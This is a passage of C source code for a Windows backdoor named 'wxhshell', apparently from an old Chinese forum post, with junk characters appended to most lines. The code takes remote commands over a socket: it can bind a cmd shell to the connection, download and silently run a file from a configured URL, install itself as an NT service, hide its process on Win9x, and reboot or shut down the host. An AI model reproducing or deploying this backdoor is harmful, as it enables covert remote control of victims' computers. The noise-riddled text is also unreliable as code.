  if(DownloadFile(cmd,wsh)) 7eyVm;LQD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~@S,i1  
  else y$7vJl.uS/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8:)W!tr  
  } Bl"BmUn  
  else { XzBnj7E  
,4&?`Q  
    switch(cmd[0]) { <@puWm[p  
  >m-VBo  
  // 帮助 {hmC=j  
  case '?': { [_pw|BGp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L~u@n24  
    break; L~PBD?l  
  } j~Cch%%G  
  // 安装 <HC5YA)4  
  case 'i': { w#!^wN  
    if(Install()) D; bHX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (v'#~)R_`  
    else F^/1 u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 25zmde~ w  
    break; e M$NVpS3  
    } #!i&  
  // 卸载 +nj 2  
  case 'r': { 3?+CP-T-j  
    if(Uninstall()) ?{Rv/np=F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N#Y|MfLc  
    else `3CdW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4N- T=Ig  
    break; =>kE`"{!  
    } >Yf)]e-  
  // 显示 wxhshell 所在路径 G'M;]R9EP  
  case 'p': { K#e&yY  
    char svExeFile[MAX_PATH]; k+D"LA%J  
    strcpy(svExeFile,"\n\r"); _,?<r&>v6  
      strcat(svExeFile,ExeFile); KT>eE  
        send(wsh,svExeFile,strlen(svExeFile),0); oN\IQ7oI  
    break; BsJ d*-:X  
    } ,3As Ng  
  // 重启 ]#fmih^  
  case 'b': { qz@k-Jqq d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #BZ2%\  
    if(Boot(REBOOT)) ?E*;fDEC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oieJ7\h]m  
    else { 1#D&cx6  
    closesocket(wsh); %\|9_=9Wn  
    ExitThread(0); Us.")GiHE  
    } $q iY)RE  
    break; pr) `7VuKp  
    } !G8=S'~~  
  // 关机 !pqfx93R*  
  case 'd': { s6k@WT?"^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fK %${   
    if(Boot(SHUTDOWN)) uSl&d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3B[1Ae:K  
    else { YXi'^GU@  
    closesocket(wsh); E<~Fi .M;\  
    ExitThread(0); o^!_S5zKe.  
    } !'jZ !NFO  
    break; Jx jP'8  
    } +~x'1*A_  
  // 获取shell %lbDcEsf9  
  case 's': { A%[ BCY_  
    CmdShell(wsh); g"dq;H  
    closesocket(wsh); hp$/O4fD  
    ExitThread(0); .yF@Ow  
    break; cOq'MDr  
  } zarxv| }$  
  // 退出 BWWO=N  
  case 'x': { P5K=S.g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v/m} {&K  
    CloseIt(wsh); R_7[7 /a  
    break; wigs1  
    } j v4O  
  // 离开 J_|LG rt})  
  case 'q': { F+m%PVW:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2YbI."ob  
    closesocket(wsh); D"z3SLFW{  
    WSACleanup(); "?X,);5S  
    exit(1); A5\00O~  
    break; [XKudw%  
        } %tvP\(]h  
  } H:k?#7D(  
  } X"k:+  
0ap_tCY  
  // 提示信息 ].Sz2vI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z0'&@P$  
} lA/.4"nN  
  } 0aRHXc2<  
LJc"T)>$`  
  return; rsaN<6#_^Q  
} F4*ssx  
4x)etH^o  
// shell模块句柄 1o8C4?T&  
int CmdShell(SOCKET sock) Ov-Y.+L:  
{ Hh1]\4D,4  
STARTUPINFO si; ixY[ HDPq  
ZeroMemory(&si,sizeof(si)); /=(PMoZu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TlEd#XQgf&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j%`% DQ  
PROCESS_INFORMATION ProcessInfo; 4F`&W*x  
char cmdline[]="cmd"; _t/~C*=:=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BI|TM2oa  
  return 0; P{ K;vEp  
} \GD\N=?~  
tgVMgu  
// 自身启动模式 .}c&" L;W  
int StartFromService(void) &Yklf?EZ>Q  
{ i< b-$9  
typedef struct Q;xJ/4 Z"  
{ L[cP2X]NQ  
  DWORD ExitStatus; o}p^q:T*  
  DWORD PebBaseAddress; rHa*WA;TE  
  DWORD AffinityMask; B6yTD7  
  DWORD BasePriority; 11((b  
  ULONG UniqueProcessId; qN"Q3mU^h*  
  ULONG InheritedFromUniqueProcessId; }WV}in0  
}   PROCESS_BASIC_INFORMATION; t+ vz=`  
A`:a T{j  
PROCNTQSIP NtQueryInformationProcess; W5Uw=!LdEY  
=o5|W'>`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S0' ACt`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S aH':UN  
"}x%5/(  
  HANDLE             hProcess; &~a S24c  
  PROCESS_BASIC_INFORMATION pbi; kRb  %:*  
*6bO2LO"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -hY@r 7y  
  if(NULL == hInst ) return 0; |kGQ~:k+P  
+WjX@rSq[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~+)>D7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); % aqP{mOO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &"?S0S>r!  
c[>xM3=e^q  
  if (!NtQueryInformationProcess) return 0; H:F'5Zt  
%6W%-`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bs&>QsI?j  
  if(!hProcess) return 0; 8Drz i!}  
gkmV; 0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1N}vz(0"  
eBWgAf.k  
  CloseHandle(hProcess); 4q"4N2  
~Z~V:~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o1?S*  
if(hProcess==NULL) return 0; x']Fe7nv  
Gsu?m  
HMODULE hMod; Rc vp@  
char procName[255]; ij,Rq`}l  
unsigned long cbNeeded; #,9s\T  
\c}pzBFd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aH?+^f"D  
\iP5.3C  
  CloseHandle(hProcess); _CMNmmp`e  
7Fx0#cS"\  
if(strstr(procName,"services")) return 1; // 以服务启动 Yi j^hs@eV  
@h9QfJ_f  
  return 0; // 注册表启动 DF>3)oTF  
} L|L;<  
Sh2BU3  
// 主模块 akF T 0@9  
int StartWxhshell(LPSTR lpCmdLine) 7^7Jh&b)/  
{ s o1hC  
  SOCKET wsl; hv`I`[/J  
BOOL val=TRUE; 63i&<  
  int port=0; 3$_JNF`  
  struct sockaddr_in door; p,.6sk  
aJ QzM  
  if(wscfg.ws_autoins) Install(); fC".K Yjp  
!nsx!M  
port=atoi(lpCmdLine); %:v<&^oDlm  
?>Ngsp>-P  
if(port<=0) port=wscfg.ws_port; k<|}&<h  
9:*[Q"v  
  WSADATA data; fx-8mf3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r )HZaq  
l,*5*1lM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #jh5%@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >=4('  
  door.sin_family = AF_INET; 6e8 gFQ"w2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fy$?~Ji &  
  door.sin_port = htons(port); = N;5T  
gyb99c,)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pC]XbokES  
closesocket(wsl); d N$,AOT  
return 1;  fDloL  
} ('{aOiSH  
7 =D,D+f  
  if(listen(wsl,2) == INVALID_SOCKET) { j9rxu$N+  
closesocket(wsl); ! 1=*"H%t  
return 1; {-lpYD^k3  
} pztfm'  
  Wxhshell(wsl); O}w%$ mq  
  WSACleanup(); QWnGolN  
5rmU9L  
return 0; ; NH^+h  
rvlvk"  
} |dz"uIrT  
`yP`5a/  
// 以NT服务方式启动 /z_]7]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aL_/2/@X8  
{ u>]3?ty`  
DWORD   status = 0; ;*$e8y2  
  DWORD   specificError = 0xfffffff; |lcp (u*u  
="5D}%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c6lCF &  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [_nOo`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O5aXa_A_u  
  serviceStatus.dwWin32ExitCode     = 0; @gfW*PNjlP  
  serviceStatus.dwServiceSpecificExitCode = 0;  4=ovm[  
  serviceStatus.dwCheckPoint       = 0; ,zdGY]$  
  serviceStatus.dwWaitHint       = 0; i!RfUod  
lm 96:S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =@0J:"c  
  if (hServiceStatusHandle==0) return; YVwpqOE.=  
]'"Sa<->  
status = GetLastError(); 641P)  
  if (status!=NO_ERROR) bU}v@Uk  
{ x\U[5d   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x1?mE)n]  
    serviceStatus.dwCheckPoint       = 0; _U}vKm  
    serviceStatus.dwWaitHint       = 0; K2yu}F^}  
    serviceStatus.dwWin32ExitCode     = status; e MHz/;I  
    serviceStatus.dwServiceSpecificExitCode = specificError; p_g`f9q6D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b _<n]P*)  
    return; ?].MnwYo  
  } uDP:kM  
:SS \2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OxYAM,F  
  serviceStatus.dwCheckPoint       = 0; [gpO?'~  
  serviceStatus.dwWaitHint       = 0; gHp*QL\?9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N<8\.z5:<  
} ,f2oO?L}  
:09NZ !!  
// 处理NT服务事件,比如:启动、停止 jLVG=rOn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yKoZj   
{ a_V\[V{R=  
switch(fdwControl) _FYA? d}  
{ Hf@4p'  
case SERVICE_CONTROL_STOP: e`s1z|h  
  serviceStatus.dwWin32ExitCode = 0; uE41"?GS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; In^mE(8YO  
  serviceStatus.dwCheckPoint   = 0; >7PQOQMW'  
  serviceStatus.dwWaitHint     = 0; MzX&|wimb  
  { =T,Q7Dh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sz@z 0'  
  } T{k_3[{0o  
  return; Jz~:  
case SERVICE_CONTROL_PAUSE: !9WGZfK+0Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0-S.G38{  
  break; V:Gy pY)  
case SERVICE_CONTROL_CONTINUE: A4!X{qUT-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6{buel(|e  
  break; Wu^Rv-xA  
case SERVICE_CONTROL_INTERROGATE: )gEE7Ex?  
  break; 3fhY+$tq  
}; fwv^dEe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aL4^ po  
} rP3tFvOH  
xy7A^7Li  
// 标准应用程序主函数 *: @KpYWx"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n82tZpn  
{ a8J AJkFB  
2+rT .GFc  
// 获取操作系统版本 }[;ZZm?  
OsIsNt=GetOsVer(); 8&G9 ?n`I5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9L:wfg}8s  
'EiCT l  
  // 从命令行安装 L@{'J  
  if(strpbrk(lpCmdLine,"iI")) Install(); s|e.mZk/  
Vo@7G@7K(  
  // 下载执行文件 U-9Aq  
if(wscfg.ws_downexe) { h(HpeN%`#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x*7A33@i  
  WinExec(wscfg.ws_filenam,SW_HIDE); #\w N2`" W  
} .Qx5,)@9  
M5ZH6X@5  
if(!OsIsNt) { U L $!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q3 8+`EhLA  
HideProc(); ng3ZK  
StartWxhshell(lpCmdLine); /=S@3?cQAB  
} P}}G9^  
else d\JaYizp  
  if(StartFromService()) \{ @m  
  // 以服务方式启动 k_,7#:+  
  StartServiceCtrlDispatcher(DispatchTable); Eo6N'h>h  
else =G:Krc8w@  
  // 普通方式启动 `/PBZnj  
  StartWxhshell(lpCmdLine); ;[}OZt  
miaH,hm  
return 0; \Nt 5TG_  
}
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只看该作者 1 发表于: 2006-10-10
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